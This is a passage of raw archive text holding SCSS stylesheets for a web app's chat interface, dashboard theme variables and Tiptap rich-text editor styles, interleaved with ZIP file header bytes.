text-primary font-semibold text-2xs font-mono; &:before, &:after { content: '`'; } } blockquote { > :first-child { margin-top: 0; } > :last-child { margin-bottom: 0; } } li { >p:only-child { @apply my-0; } } .katex { @apply mx-1 first:ms-0; } } .animated-el { &.done-signal { display: none; } a & { text-decoration: inherit; } } .lqd-chat-ai-bubble { &.animating-words { transition: --animating-word-y 0.15s cubic-bezier(0.4, 0, 0.2, 1); .chat-content-container { &:before { mask-image: linear-gradient(to bottom, black var(--animating-word-y), transparent calc(var(--animating-word-y) + 7lh + 2rem)); } } li, hr, tr, .animated-el { opacity: 0; } &.streaming-on { .chat-content-container { &:before { mask-image: linear-gradient(to bottom, black var(--animating-word-y), transparent calc(var(--animating-word-y) + 2lh + 2rem)); } } } } .lqd-typing { min-height: inherit; } &:not(.loading) { .lqd-typing { display: none; } } &.loading { .chat-content { display: none; } } } .multi-model-response-wrap { .chat-content-container { @apply w-full border rounded-md py-5 px-7 transition-colors; } .multi-model-response-head { display: flex; } .animating-words-done { .multi-model-response-foot { display: flex; } } } PKJW]sÑCÌÌ*views/default/scss/panel/_page-header.scssnu„[µü¤.page-pretitle { margin-bottom: 1.15em; font-size: 0.8125rem; text-transform: none; letter-spacing: normal; font-weight: var(--tblr-font-weight-normal); } .page-title { --tblr-font-weight-bold: 700; margin-bottom: 0.36em; font-size: 2.357em; color: var(--lqd-heading-color); } .page-wrapper { .page-header { --tblr-content-padding: 1.5rem; padding-bottom: 1.25rem; border-bottom: var(--tblr-border-width) solid var(--tblr-border-color); } }PKJW]kê9°BB$views/default/scss/panel/_panel.scssnu„[µü¤@import './page-header'; @import './auth'; @import './generator'; PKJW]#views/default/scss/panel/_auth.scssnu„[µü¤PKJW]qÍ'@@(views/default/scss/panel/_generator.scssnu„[µü¤.page-generator { .btn { --tblr-btn-padding-y: 0.725em; } }PKJW]¹�Þ_ãã!views/default/scss/dashboard.scssnu„[µü¤@tailwind base; @tailwind components; @tailwind utilities; @import './base/vars'; @layer base { *, *:before, *:after { border-color: hsl(var(--border)); } :focus-visible { outline-color: theme('colors.secondary.DEFAULT'); } button, select { font: inherit; text-transform: unset; letter-spacing: inherit; } [x-cloak] { display: none !important; } } @layer utilities { .collapse { visibility: unset; } .form-select { padding: 1em 1.23em; font-size: 0.8125rem; line-height: 1.4285714286; border: var(--tblr-border-width) solid var(--tblr-border-color); border-radius: var(--tblr-border-radius); } [dir='rtl'] .form-select { background-position: left 0.5rem center; } } @import './base/base'; @import './base/typography'; @import './layout/layout'; @import './panel/panel'; @import './components/components'; @import './focus-mode/focus-mode'; @import './advanced-image-editor/advanced-image-editor'; @import './creative-suite/creative-suite'; PKJW]Yø ÷ÖÖ(views/default/scss/base/_typography.scssnu„[µü¤h1, h2, h3, h4, h5, h6 { margin-bottom: 0.5rem; font-family: var(--headings-font-family); line-height: var(--headings-line-height); font-weight: var(--headings-font-weight); font-style: var(--headings-font-style); text-transform: var(--headings-text-transform); letter-spacing: var(--headings-letter-spacing); color: var(--headings-color); } @for $i from 1 through 6 { h#{$i} { font-family: var(--h#{$i}-font-family, var(--headings-font-family)); font-size: var(--h#{$i}-font-size, var(--headings-font-size)); line-height: var(--h#{$i}-line-height, var(--headings-line-height)); font-weight: var(--h#{$i}-font-weight, var(--headings-font-weight)); font-style: var(--h#{$i}-font-style, var(--headings-font-style)); text-transform: var(--h#{$i}-text-transform, var(--headings-text-transform)); letter-spacing: var(--h#{$i}-letter-spacing, var(--headings-letter-spacing)); color: var(--h#{$i}-color, var(--headings-color)); } } p { margin-bottom: 0.5rem; }PKJW]ËÕT��"views/default/scss/base/_base.scssnu„[µü¤*::-webkit-scrollbar { width: var(--scrollbar-width); } *::-webkit-scrollbar-track { background: hsl(var(--scrollbar-track)); } *::-webkit-scrollbar-thumb { background: hsl(var(--scrollbar-thumb)); } *::-webkit-scrollbar-thumb:hover { background: hsl(var(--scrollbar-thumb-hover)); } * { scrollbar-color: hsl(var(--scrollbar-thumb)) hsl(var(--scrollbar-track)); scrollbar-width: var(--scrollbar-width); } body { overflow-y: auto; } hr { @apply transition-colors my-2.5 mx-0 opacity-100; border-color: hsl(var(--border)); } .container-fluid { @apply mx-auto w-full; } body:has(.lqd-bottom-menu) { .lqd-page { @apply max-lg:pb-16; } } PKJW]x„•˜……"views/default/scss/base/_vars.scssnu„[µü¤@layer base { // BC :root { --tblr-primary: #330582; --tblr-primary-rgb: 51, 5, 130; --tblr-green: #1ca685; --tblr-green-rgb: 28, 166, 133; --tblr-red: #a13d55; --tblr-red-rgb: 161, 61, 85; --tblr-body-bg: #fff; --tblr-body-bg-rgb: 255, 255, 255; --tblr-body-color: #474D59; --tblr-card-border-color: #f1f3f4; --tblr-border-color: rgb(0 0 0 / 5%); --tblr-border-radius: 13px; --tblr-font-size-h1: 2.0625rem; --tblr-font-size-h2: 1.25rem; --tblr-font-size-h3: 1rem; --tblr-font-size-h4: 0.875rem; --tblr-font-size-h5: 0.75rem; --tblr-font-size-h6: 0.625rem; --tblr-line-height-h1: 2rem; --tblr-line-height-h2: 1.75rem; --tblr-line-height-h3: 1.5rem; --tblr-line-height-h4: 1.25rem; --tblr-line-height-h5: 1rem; --tblr-line-height-h6: 1rem; --tblr-success: var(--tblr-green); --tblr-success-rgb: 28, 166, 133; --tblr-danger: var(--tblr-red); --tblr-danger-rgb: 161, 61, 85; --tblr-muted: #667085; --tblr-bg-forms: var(--input-background); --tblr-nav-link-font-size: 0.875rem; --tblr-dark-mode-border-color: rgb(255 255 255 / 4%); --lqd-pink: #f3e2fd; --lqd-gray: #2e333b; --lqd-header-search-bg: #f2f2f4; --lqd-header-search-color: rgba(37, 44, 50, 0.5); --lqd-header-search-color-focus: #000; --lqd-heading-color: #000; --lqd-heading-color-rgb: 0, 0, 0; --lqd-header-height: 4.8125rem; --lqd-vertical-nav-link-color: #565B67; --lqd-shadow-color: rgb(29 39 59 / 7%); --lqd-shadow-xs: 0 2px 1px var(--lqd-shadow-color); --lqd-faded-out: rgb(0 0 0 / 20%); --lqd-faded-out-more: rgb(0 0 0 / 7%); } .theme-dark { --tblr-primary: #9a34cd; --tblr-primary-rgb: 154, 52, 205; --tblr-body-bg: #1a1d23; --tblr-body-bg-rgb: 26, 29, 35; --tblr-bg-surface: transparent; --tblr-navbar-bg: transparent; --lqd-header-search-bg: #232528; --lqd-header-search-color: #808797; --lqd-header-search-color-focus: #fff; --lqd-heading-color: #fff; --lqd-heading-color-rgb: 255, 255, 255; --lqd-faded-out: rgb(255 255 255 / 20%); --lqd-faded-out-more: rgb(255 255 255 / 7%); --tblr-bg-forms: var(--input-background); --tblr-bg-surface: #1f2228; background-color: var(--tblr-body-bg); } // End BC :root { --scrollbar-width: 5px; --scrollbar-track: 0 0% 100%; --scrollbar-thumb: 0 0% 53%; --scrollbar-thumb-hover: 0 0% 33%; --primary: 262 93% 26%; --primary-foreground: 0 0% 100%; --secondary: 278 87% 94%; --secondary-foreground: 0 0% 0%; --accent: 280 60% 50%; --accent-foreground: 0 0% 100%; --background: 0 0% 100%; --foreground: 222 14% 29%; --gradient-from: 189 84% 73%; --gradient-via: 240 73% 74%; --gradient-to: 233 64% 64%; --border: 200 12% 95%; --shadow: 0 4px 7px theme('colors.black/4%'); --heading-background: 0 0% 100%; --heading-foreground: 213 13% 14%; --input-background: var(--background); --input-foreground: 0 0% 0%; --input-border: var(--border); --card-background: var(--background); --card-foreground: var(--foreground); --card-border: var(--border); --card-shadow: none; --folder-background: 0 0 0% / 6%; --folder-foreground: var(--card-foreground); --folder-border: var(--card-border); --folder-shadow: var(--card-shadow); --header-background: var(--background); --header-border: var(--border); --dropdown-background: var(--background); --dropdown-foreground: var(--foreground); --dropdown-border: var(--border); --dropdown-rounded: 0.5rem; --label: 221 13% 46%; --surface: 240 8% 95%; --surface-light: 240 8% 98%; --clay: 240 8% 95%; --font-body: 'Inter'; --font-heading: 'Golos Text'; --headings-font-family: theme('fontFamily.heading'); --headings-line-height: 1.25rem; --headings-font-weight: 600; --headings-text-transform: ; --headings-letter-spacing: ; --headings-color: hsl(var(--heading-foreground)); --h1-font-size: 2.0625rem; --h1-line-height: 2rem; --h1-font-weight: 700; --h2-font-size: 1.625rem; --h2-line-height: 1.75rem; --h3-font-size: 1.25rem; --h3-line-height: 1.25rem; --h4-font-size: 0.9375rem; --h4-line-height: 1.25rem; --h5-font-size: 0.875rem; --h5-line-height: 1.25rem; --h6-font-size: 0.75rem; --h6-line-height: 1.25rem; --header-height: 4.8125rem; --navbar-fs: theme('fontSize.xs'); --navbar-pt: 0px; --navbar-pe: theme('spacing.14'); --navbar-pb: 0px; --navbar-ps: theme('spacing.2'); --navbar-mt: 0px; --navbar-me: theme('spacing.11'); --navbar-mb: 0px; --navbar-ms: 0px; --navbar-rounded-ss: 0px; --navbar-rounded-ee: 0px; --navbar-rounded-ee: 0px; --navbar-rounded-es: 0px; --navbar-background: var(--background); --navbar-foreground: 222 9% 37%; --navbar-background-hover: var(--primary); --navbar-foreground-hover: var(--primary); --navbar-background-active: var(--primary); --navbar-foreground-active: var(--primary); --navbar-link-pt: theme('spacing.2'); --navbar-link-pe: theme('spacing.5'); --navbar-link-pb: theme('spacing.2'); --navbar-link-ps: theme('spacing.5'); --navbar-link-rounded: theme('borderRadius.xl'); --navbar-icon-background: 0 0% 0% / 0%; --navbar-icon-foreground: ; --navbar-icon-background-hover: ; --navbar-icon-foreground-hover: ; --navbar-icon-background-active: ; --navbar-icon-foreground-active: ; --navbar-border: var(--border); --navbar-divider: var(--border); --navbar-icon-size: theme('size.5'); --switcher-ball: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23e6e7e9'/%3e%3c/svg%3e"); --switcher-ball-active: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e"); --top-notice-bar-height: 2.25rem; --button-border: var(--border); --button-rounded: theme('borderRadius.full'); --card-rounded: theme('borderRadius.xl'); --input-rounded: calc(theme('borderRadius.xl') * var(--input-rounded-multiplier, 1)); font-size: 16px; } :root:has(body.theme-dark) { --scrollbar-track: 0 0% 10%; --scrollbar-thumb: 0 0% 50%; --scrollbar-thumb-hover: 0 0% 33%; } .theme-dark { --primary: 280 60% 50%; --primary-foreground: 0 0% 100%; --secondary: 278 29% 85%; --secondary-foreground: 0 0% 0%; --background: 216 19% 11%; --foreground: 210 40% 98%; --border: 223 9% 15%; --heading-background: 220 8% 15%; --heading-foreground: 0 0% 100%; --input-background: var(--background); --input-foreground: 216 6% 85%; --input-border: var(--border); --card-background: var(--background); --card-foreground: var(--foreground); --card-border: var(--border); --card-shadow: none; --folder-background: 0 0 100% / 5%; --folder-foreground: var(--card-foreground); --folder-border: var(--card-border); --folder-shadow: var(--card-shadow); --header-background: var(--background); --header-border: var(--border); --label: 220 10% 55%; --surface: 218 14% 13%; --surface-light: 217 12% 21%; --clay: 218 14% 13%; --dropdown-background: var(--surface); --dropdown-foreground: var(--foreground); --dropdown-border: var(--border); --headings-color: hsl(var(--heading-foreground)); --navbar-background: var(--background); --navbar-foreground: 210 1% 74%; --navbar-background-hover: var(--primary); --navbar-foreground-hover: var(--primary); --navbar-background-active: var(--primary); --navbar-foreground-active: var(--primary); --navbar-border: var(--border); --navbar-divider: var(--border); --button-border: var(--border); } } PKJW]6views/default/scss/creative-suite/_creative-suite.scssnu„[µü¤PKJW]Ô–@CéRéRviews/default/scss/tiptap.scssnu„[µü¤$tiptap-placeholder-color: var(--placeholder-color); // Root variables :root { overflow-wrap: break-word; text-size-adjust: none; text-rendering: optimizeLegibility; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; // Gray light alpha colors --tt-gray-light-a-50: rgba(56, 56, 56, 0.04); --tt-gray-light-a-100: rgba(15, 22, 36, 0.05); --tt-gray-light-a-200: rgba(37, 39, 45, 0.1); --tt-gray-light-a-300: rgba(47, 50, 55, 0.2); --tt-gray-light-a-400: rgba(40, 44, 51, 0.42); --tt-gray-light-a-500: rgba(52, 55, 60, 0.64); --tt-gray-light-a-600: rgba(36, 39, 46, 0.78); --tt-gray-light-a-700: rgba(35, 37, 42, 0.87); --tt-gray-light-a-800: rgba(30, 32, 36, 0.95); --tt-gray-light-a-900: rgba(29, 30, 32, 0.98); // Gray light colors --tt-gray-light-50: rgba(250, 250, 250, 1); --tt-gray-light-100: rgba(244, 244, 245, 1); --tt-gray-light-200: rgba(234, 234, 235, 1); --tt-gray-light-300: rgba(213, 214, 215, 1); --tt-gray-light-400: rgba(166, 167, 171, 1); --tt-gray-light-500: rgba(125, 127, 130, 1); --tt-gray-light-600: rgba(83, 86, 90, 1); --tt-gray-light-700: rgba(64, 65, 69, 1); --tt-gray-light-800: rgba(44, 45, 48, 1); --tt-gray-light-900: rgba(34, 35, 37, 1); // Gray dark alpha colors --tt-gray-dark-a-50: rgba(232, 232, 253, 0.05); --tt-gray-dark-a-100: rgba(231, 231, 243, 0.07); --tt-gray-dark-a-200: rgba(238, 238, 246, 0.11); --tt-gray-dark-a-300: rgba(239, 239, 245, 0.22); --tt-gray-dark-a-400: rgba(244, 244, 255, 0.37); --tt-gray-dark-a-500: rgba(236, 238, 253, 0.5); --tt-gray-dark-a-600: rgba(247, 247, 253, 0.64); --tt-gray-dark-a-700: rgba(251, 251, 254, 0.75); --tt-gray-dark-a-800: rgba(253, 253, 253, 0.88); --tt-gray-dark-a-900: rgba(255, 255, 255, 0.96); // Gray dark colors --tt-gray-dark-50: rgba(25, 25, 26, 1); --tt-gray-dark-100: rgba(32, 32, 34, 1); --tt-gray-dark-200: rgba(45, 45, 47, 1); --tt-gray-dark-300: rgba(70, 70, 73, 1); --tt-gray-dark-400: rgba(99, 99, 105, 1); --tt-gray-dark-500: rgba(124, 124, 131, 1); --tt-gray-dark-600: rgba(163, 163, 168, 1); --tt-gray-dark-700: rgba(192, 192, 195, 1); --tt-gray-dark-800: rgba(224, 224, 225, 1); --tt-gray-dark-900: rgba(245, 245, 245, 1); // Brand colors --tt-brand-color-50: rgba(239, 238, 255, 1); --tt-brand-color-100: rgba(222, 219, 255, 1); --tt-brand-color-200: rgba(195, 189, 255, 1); --tt-brand-color-300: rgba(157, 138, 255, 1); --tt-brand-color-400: rgba(122, 82, 255, 1); --tt-brand-color-500: rgba(98, 41, 255, 1); --tt-brand-color-600: rgba(84, 0, 229, 1); --tt-brand-color-700: rgba(75, 0, 204, 1); --tt-brand-color-800: rgba(56, 0, 153, 1); --tt-brand-color-900: rgba(43, 25, 102, 1); --tt-brand-color-950: hsla(257, 100%, 9%, 1); // Theme colors - Green --tt-color-green-inc-5: hsla(129, 100%, 97%, 1); --tt-color-green-inc-4: hsla(129, 100%, 92%, 1); --tt-color-green-inc-3: hsla(131, 100%, 86%, 1); --tt-color-green-inc-2: hsla(133, 98%, 78%, 1); --tt-color-green-inc-1: hsla(137, 99%, 70%, 1); --tt-color-green-base: hsla(147, 99%, 50%, 1); --tt-color-green-dec-1: hsla(147, 97%, 41%, 1); --tt-color-green-dec-2: hsla(146, 98%, 32%, 1); --tt-color-green-dec-3: hsla(146, 100%, 24%, 1); --tt-color-green-dec-4: hsla(144, 100%, 16%, 1); --tt-color-green-dec-5: hsla(140, 100%, 9%, 1); // Theme colors - Yellow --tt-color-yellow-inc-5: hsla(50, 100%, 97%, 1); --tt-color-yellow-inc-4: hsla(50, 100%, 91%, 1); --tt-color-yellow-inc-3: hsla(50, 100%, 84%, 1); --tt-color-yellow-inc-2: hsla(50, 100%, 77%, 1); --tt-color-yellow-inc-1: hsla(50, 100%, 68%, 1); --tt-color-yellow-base: hsla(52, 100%, 50%, 1); --tt-color-yellow-dec-1: hsla(52, 100%, 41%, 1); --tt-color-yellow-dec-2: hsla(52, 100%, 32%, 1); --tt-color-yellow-dec-3: hsla(52, 100%, 24%, 1); --tt-color-yellow-dec-4: hsla(51, 100%, 16%, 1); --tt-color-yellow-dec-5: hsla(50, 100%, 9%, 1); // Theme colors - Red --tt-color-red-inc-5: hsla(11, 100%, 96%, 1); --tt-color-red-inc-4: hsla(11, 100%, 88%, 1); --tt-color-red-inc-3: hsla(10, 100%, 80%, 1); --tt-color-red-inc-2: hsla(9, 100%, 73%, 1); --tt-color-red-inc-1: hsla(7, 100%, 64%, 1); --tt-color-red-base: hsla(7, 100%, 54%, 1); --tt-color-red-dec-1: hsla(7, 100%, 41%, 1); --tt-color-red-dec-2: hsla(5, 100%, 32%, 1); --tt-color-red-dec-3: hsla(4, 100%, 24%, 1); --tt-color-red-dec-4: hsla(3, 100%, 16%, 1); --tt-color-red-dec-5: hsla(1, 100%, 9%, 1); // Basic colors --white: rgba(255, 255, 255, 1); --black: rgba(14, 14, 17, 1); --transparent: rgba(255, 255, 255, 0); // Shadows --tt-shadow-elevated-md: 0px 16px 48px 0px rgba(17, 24, 39, 0.04), 0px 12px 24px 0px rgba(17, 24, 39, 0.04), 0px 6px 8px 0px rgba(17, 24, 39, 0.02), 0px 2px 3px 0px rgba(17, 24, 39, 0.02); // Border radius --tt-radius-xxs: 0.125rem; --tt-radius-xs: 0.25rem; --tt-radius-sm: 0.375rem; --tt-radius-md: 0.5rem; --tt-radius-lg: 0.75rem; --tt-radius-xl: 1rem; // Transitions --tt-transition-duration-short: 0.1s; --tt-transition-duration-default: 0.2s; --tt-transition-duration-long: 0.64s; --tt-transition-easing-default: cubic-bezier(0.46, 0.03, 0.52, 0.96); --tt-transition-easing-cubic: cubic-bezier(0.65, 0.05, 0.36, 1); --tt-transition-easing-quart: cubic-bezier(0.77, 0, 0.18, 1); --tt-transition-easing-circ: cubic-bezier(0.79, 0.14, 0.15, 0.86); --tt-transition-easing-back: cubic-bezier(0.68, -0.55, 0.27, 1.55); // Contrast values --tt-accent-contrast: 8%; --tt-destructive-contrast: 8%; --tt-foreground-contrast: 8%; // Light theme colors --tt-bg-color: var(--white); --tt-border-color: var(--tt-gray-light-a-200); --tt-border-color-tint: var(--tt-gray-light-a-100); --tt-sidebar-bg-color: var(--tt-gray-light-100); --tt-scrollbar-color: var(--tt-gray-light-a-200); --tt-cursor-color: var(--tt-brand-color-500); --tt-selection-color: rgba(157, 138, 255, 0.2); --tt-card-bg-color: var(--white); --tt-card-border-color: var(--tt-gray-light-a-100); // Text colors (light theme) --tt-color-text-gray: hsl(45, 2%, 46%); --tt-color-text-brown: hsl(19, 31%, 47%); --tt-color-text-orange: hsl(30, 89%, 45%); --tt-color-text-yellow: hsl(38, 62%, 49%); --tt-color-text-green: hsl(148, 32%, 39%); --tt-color-text-blue: hsl(202, 54%, 43%); --tt-color-text-purple: hsl(274, 32%, 54%); --tt-color-text-pink: hsl(328, 49%, 53%); --tt-color-text-red: hsl(2, 62%, 55%); --tt-color-text-gray-contrast: hsla(39, 26%, 26%, 0.15); --tt-color-text-brown-contrast: hsla(18, 43%, 69%, 0.35); --tt-color-text-orange-contrast: hsla(24, 73%, 55%, 0.27); --tt-color-text-yellow-contrast: hsla(44, 82%, 59%, 0.39); --tt-color-text-green-contrast: hsla(126, 29%, 60%, 0.27); --tt-color-text-blue-contrast: hsla(202, 54%, 59%, 0.27); --tt-color-text-purple-contrast: hsla(274, 37%, 64%, 0.27); --tt-color-text-pink-contrast: hsla(331, 60%, 71%, 0.27); --tt-color-text-red-contrast: hsla(8, 79%, 79%, 0.4); // Highlight colors (light theme) --tt-color-highlight-yellow: #fef9c3; --tt-color-highlight-green: #dcfce7; --tt-color-highlight-blue: #e0f2fe; --tt-color-highlight-purple: #f3e8ff; --tt-color-highlight-red: #ffe4e6; --tt-color-highlight-gray: rgb(248, 248, 247); --tt-color-highlight-brown: rgb(244, 238, 238); --tt-color-highlight-orange: rgb(251, 236, 221); --tt-color-highlight-pink: rgb(252, 241, 246); --tt-color-highlight-yellow-contrast: #fbe604; --tt-color-highlight-green-contrast: #c7fad8; --tt-color-highlight-blue-contrast: #ceeafd; --tt-color-highlight-purple-contrast: #e4ccff; --tt-color-highlight-red-contrast: #ffccd0; --tt-color-highlight-gray-contrast: rgba(84, 72, 49, 0.15); --tt-color-highlight-brown-contrast: rgba(210, 162, 141, 0.35); --tt-color-highlight-orange-contrast: rgba(224, 124, 57, 0.27); --tt-color-highlight-pink-contrast: rgba(225, 136, 179, 0.27); // Box sizing and transitions &, & *, & :after, & :before { box-sizing: border-box; transition: none var(--tt-transition-duration-default) var(--tt-transition-easing-default); } } .tiptap.ProseMirror { // Light mode variables --blockquote-bg-color: var(--tt-gray-light-900); --link-text-color: var(--tt-brand-color-500); --separator-color: var(--tt-gray-light-a-200); --thread-text: var(--tt-gray-light-900); --placeholder-color: var(--tt-gray-light-a-400); --tiptap-mathematics-bg-color: var(--tt-gray-light-a-200); --tiptap-mathematics-border-color: var(--tt-brand-color-500); --tt-inline-code-bg-color: var(--tt-gray-light-a-100); --tt-inline-code-text-color: var(--tt-gray-light-a-700); --tt-inline-code-border-color: var(--tt-gray-light-a-200); --tt-codeblock-bg: var(--tt-gray-light-a-50); --tt-codeblock-text: var(--tt-gray-light-a-800); --tt-codeblock-border: var(--tt-gray-light-a-200); white-space: pre-wrap; outline: none; caret-color: var(--tt-cursor-color); --tt-checklist-bg-color: var(--tt-gray-light-a-100); --tt-checklist-bg-active-color: var(--tt-gray-light-a-900); --tt-checklist-border-color: var(--tt-gray-light-a-200); --tt-checklist-border-active-color: var(--tt-gray-light-a-900); --tt-checklist-check-icon-color: var(--white); --tt-checklist-text-active: var(--tt-gray-light-a-500); &:not(.readonly):not(.ProseMirror-hideselection) { ::selection { background-color: var(--tt-selection-color); } .selection::selection { background: rgba(0, 0, 0, 0); } } .ProseMirror-hideselection { caret-color: rgba(0, 0, 0, 0); } >p.is-editor-empty:before { content: attr(data-placeholder); pointer-events: none; color: var(--placeholder-color); float: left; height: 0; } &.resize-cursor { cursor: ew-resize; cursor: col-resize; } .ProseMirror-gapcursor { display: none; pointer-events: none; position: absolute; &:after { content: ""; display: block; position: absolute; top: 1em; width: 1.25em; border-top: 1px solid #000; animation: ProseMirror-cursor-blink 1.1s steps(2, start) infinite; } } &.ProseMirror-focused .ProseMirror-gapcursor { display: block; } a span, u span { text-decoration: underline; } s span { text-decoration: line-through; } blockquote { position: relative; padding: 0.375em 0 0.375em 1em; margin: 1.5rem 0; p { margin-top: 0; } &.is-empty:before, &:before { position: absolute; top: 0; bottom: 0; left: 0; width: 0.25em; background-color: var(--blockquote-bg-color); content: ""; } } .collaboration-cursor__caret { border-right: 1px solid transparent; border-left: 1px solid transparent; pointer-events: none; margin: 0 -1px; position: relative; word-break: normal; } .collaboration-cursor__label { border-radius: 0.25rem 0.25rem 0 0; font-size: 0.75rem; font-weight: 600; left: -1px; line-height: 1; padding: 0.125rem 0.375rem; position: absolute; top: -1.3em; user-select: none; white-space: nowrap; } [data-type="emoji"] img { display: inline-block; width: 1.25em; height: 1.25em; cursor: text; } hr { margin: 3em 0; border: none; height: 1px; background-color: var(--separator-color); &.ProseMirror-selectednode { border-radius: 9999px; outline: 3px solid var(--tt-brand-color-500); outline-offset: 2px; } } a { color: var(--link-text-color); text-decoration: underline; } [data-type="mention"] { display: inline-block; color: var(--tt-brand-color-500); } code { background-color: var(--tt-inline-code-bg-color); color: var(--tt-inline-code-text-color); border: 1px solid var(--tt-inline-code-border-color); font-family: 'JetBrains Mono NL', monospace; font-size: 0.875em; line-height: 1.4; border-radius: 6px; padding: 0.1em 0.2em; } pre { background-color: var(--tt-codeblock-bg); color: var(--tt-codeblock-text); border: 1px solid var(--tt-codeblock-border); margin: 1.5em 0; padding: 1em; font-size: 1rem; border-radius: 6px; code { background-color: transparent; border: none; color: inherit; } } .tiptap-thread { &--unresolved { &.tiptap-thread--inline { transition: color 0.2s ease-in-out, background-color 0.2s ease-in-out; color: var(--thread-text); border-bottom: 2px dashed var(--tt-color-yellow-base); font-weight: 600; &.tiptap-thread--hovered, &.tiptap-thread--selected { background-color: var(--tt-color-yellow-inc-2); border-bottom-color: transparent; } } &.tiptap-thread--block { &:has(img) { outline: 0.125rem solid var(--tt-color-yellow-base); border-radius: var(--tt-radius-xs, 0.25rem); overflow: hidden; width: fit-content; &.tiptap-thread--selected, &.tiptap-thread--hovered { outline-width: 0.25rem; } } &:not(:has(img)) { border-radius: 0.25rem; border-bottom: 0.125rem dashed var(--tt-color-yellow-base); padding-bottom: 0.5rem; outline: 0.25rem solid transparent; &.tiptap-thread--hovered, &.tiptap-thread--selected { background-color: var(--tt-color-yellow-base); outline-color: var(--tt-color-yellow-base); } } } } &--resolved.tiptap-thread--inline.tiptap-thread--selected { background-color: var(--tt-color-yellow-base); border-color: transparent; opacity: 0.5; } &.tiptap-thread--block:has(.react-renderer) { margin: 3rem 0; } } .Tiptap-mathematics-editor, .Tiptap-mathematics-render { border-radius: var(--tt-radius-xs); display: inline-block; padding: 0 0.25rem; } .Tiptap-mathematics-editor { margin: 0 0.25rem; border: 1px solid var(--tiptap-mathematics-border-color); font-family: monospace; font-size: 0.875rem; } .Tiptap-mathematics-render--editable { cursor: pointer; transition: background 0.2s; &:hover { background: var(--tiptap-mathematics-bg-color); } } // Lists styling ol, ul { margin-top: 1.5em; margin-bottom: 1.5em; padding-left: 1.5em; &:first-child { margin-top: 0; } &:last-child { margin-bottom: 0; } // Nested lists ol, ul { margin-top: 0; margin-bottom: 0; } } // List items li { p { margin-top: 0; } } // Ordered lists ol { list-style: decimal; ol { list-style: lower-alpha; ol { list-style: lower-roman; } } } // Unordered lists (not task lists) ul:not([data-type="taskList"]) { list-style: disc; ul { list-style: circle; ul { list-style: disc; } } } // Task lists ul[data-type="taskList"] { padding-left: 0.25em; li { display: flex; flex-direction: row; align-items: flex-start; &:not(:has(> p:first-child)) { list-style-type: none; } // Checked items &[data-checked="true"]>div>p { opacity: 0.5; text-decoration: line-through; span { text-decoration: line-through; } } // Checkbox label label { position: relative; padding-top: 4px; padding-right: 8px; input[type="checkbox"] { position: absolute; opacity: 0; width: 0; height: 0; &:checked+span { background: var(--tt-checklist-bg-active-color); border-color: var(--tt-checklist-border-active-color); &:before { opacity: 1; } } } span { display: block; width: 1em; height: 1em; border: 1px solid var(--tt-checklist-border-color); border-radius: var(--tt-radius-xs, 0.25rem); position: relative; cursor: pointer; background-color: var(--tt-checklist-bg-color); transition: background-color 80ms ease-out, border-color 80ms ease-out; &:before { content: ""; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); width: 0.75em; height: 0.75em; background-color: var(--tt-checklist-check-icon-color); opacity: 0; -webkit-mask: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22currentColor%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M21.4142%204.58579C22.1953%205.36683%2022.1953%206.63317%2021.4142%207.41421L10.4142%2018.4142C9.63317%2019.1953%208.36684%2019.1953%207.58579%2018.4142L2.58579%2013.4142C1.80474%2012.6332%201.80474%2011.3668%202.58579%2010.5858C3.36683%209.80474%204.63317%209.80474%205.41421%2010.5858L9%2014.1716L18.5858%204.58579C19.3668%203.80474%2020.6332%203.80474%2021.4142%204.58579Z%22%20fill%3D%22currentColor%22%2F%3E%3C%2Fsvg%3E") center/contain no-repeat; mask: url("data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22currentColor%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M21.4142%204.58579C22.1953%205.36683%2022.1953%206.63317%2021.4142%207.41421L10.4142%2018.4142C9.63317%2019.1953%208.36684%2019.1953%207.58579%2018.4142L2.58579%2013.4142C1.80474%2012.6332%201.80474%2011.3668%202.58579%2010.5858C3.36683%209.80474%204.63317%209.80474%205.41421%2010.5858L9%2014.1716L18.5858%204.58579C19.3668%203.80474%2020.6332%203.80474%2021.4142%204.58579Z%22%20fill%3D%22currentColor%22%2F%3E%3C%2Fsvg%3E") center/contain no-repeat; } } } // Content wrapper div { flex: 1 1; min-width: 0; } } } } .theme-dark .tiptap.ProseMirror { --tt-bg-color: var(--black); --tt-border-color: var(--tt-gray-dark-a-200); --tt-border-color-tint: var(--tt-gray-dark-a-100); --tt-sidebar-bg-color: var(--tt-gray-dark-100); --tt-scrollbar-color: var(--tt-gray-dark-a-200); --tt-cursor-color: var(--tt-brand-color-400); --tt-selection-color: rgba(122, 82, 255, 0.2); --tt-card-bg-color: var(--tt-gray-dark-50); --tt-card-border-color: var(--tt-gray-dark-a-50); --tt-shadow-elevated-md: 0px 16px 48px 0px rgba(0, 0, 0, 0.5), 0px 12px 24px 0px rgba(0, 0, 0, 0.24), 0px 6px 8px 0px rgba(0, 0, 0, 0.22), 0px 2px 3px 0px rgba(0, 0, 0, 0.12); // Text colors (dark theme) --tt-color-text-gray: hsl(0, 0%, 61%); --tt-color-text-brown: hsl(18, 35%, 58%); --tt-color-text-orange: hsl(25, 53%, 53%); --tt-color-text-yellow: hsl(36, 54%, 55%); --tt-color-text-green: hsl(145, 32%, 47%); --tt-color-text-blue: hsl(202, 64%, 52%); --tt-color-text-purple: hsl(270, 55%, 62%); --tt-color-text-pink: hsl(329, 57%, 58%); --tt-color-text-red: hsl(1, 69%, 60%); --tt-color-text-gray-contrast: hsla(0, 0%, 100%, 0.09); --tt-color-text-brown-contrast: hsla(17, 45%, 50%, 0.25); 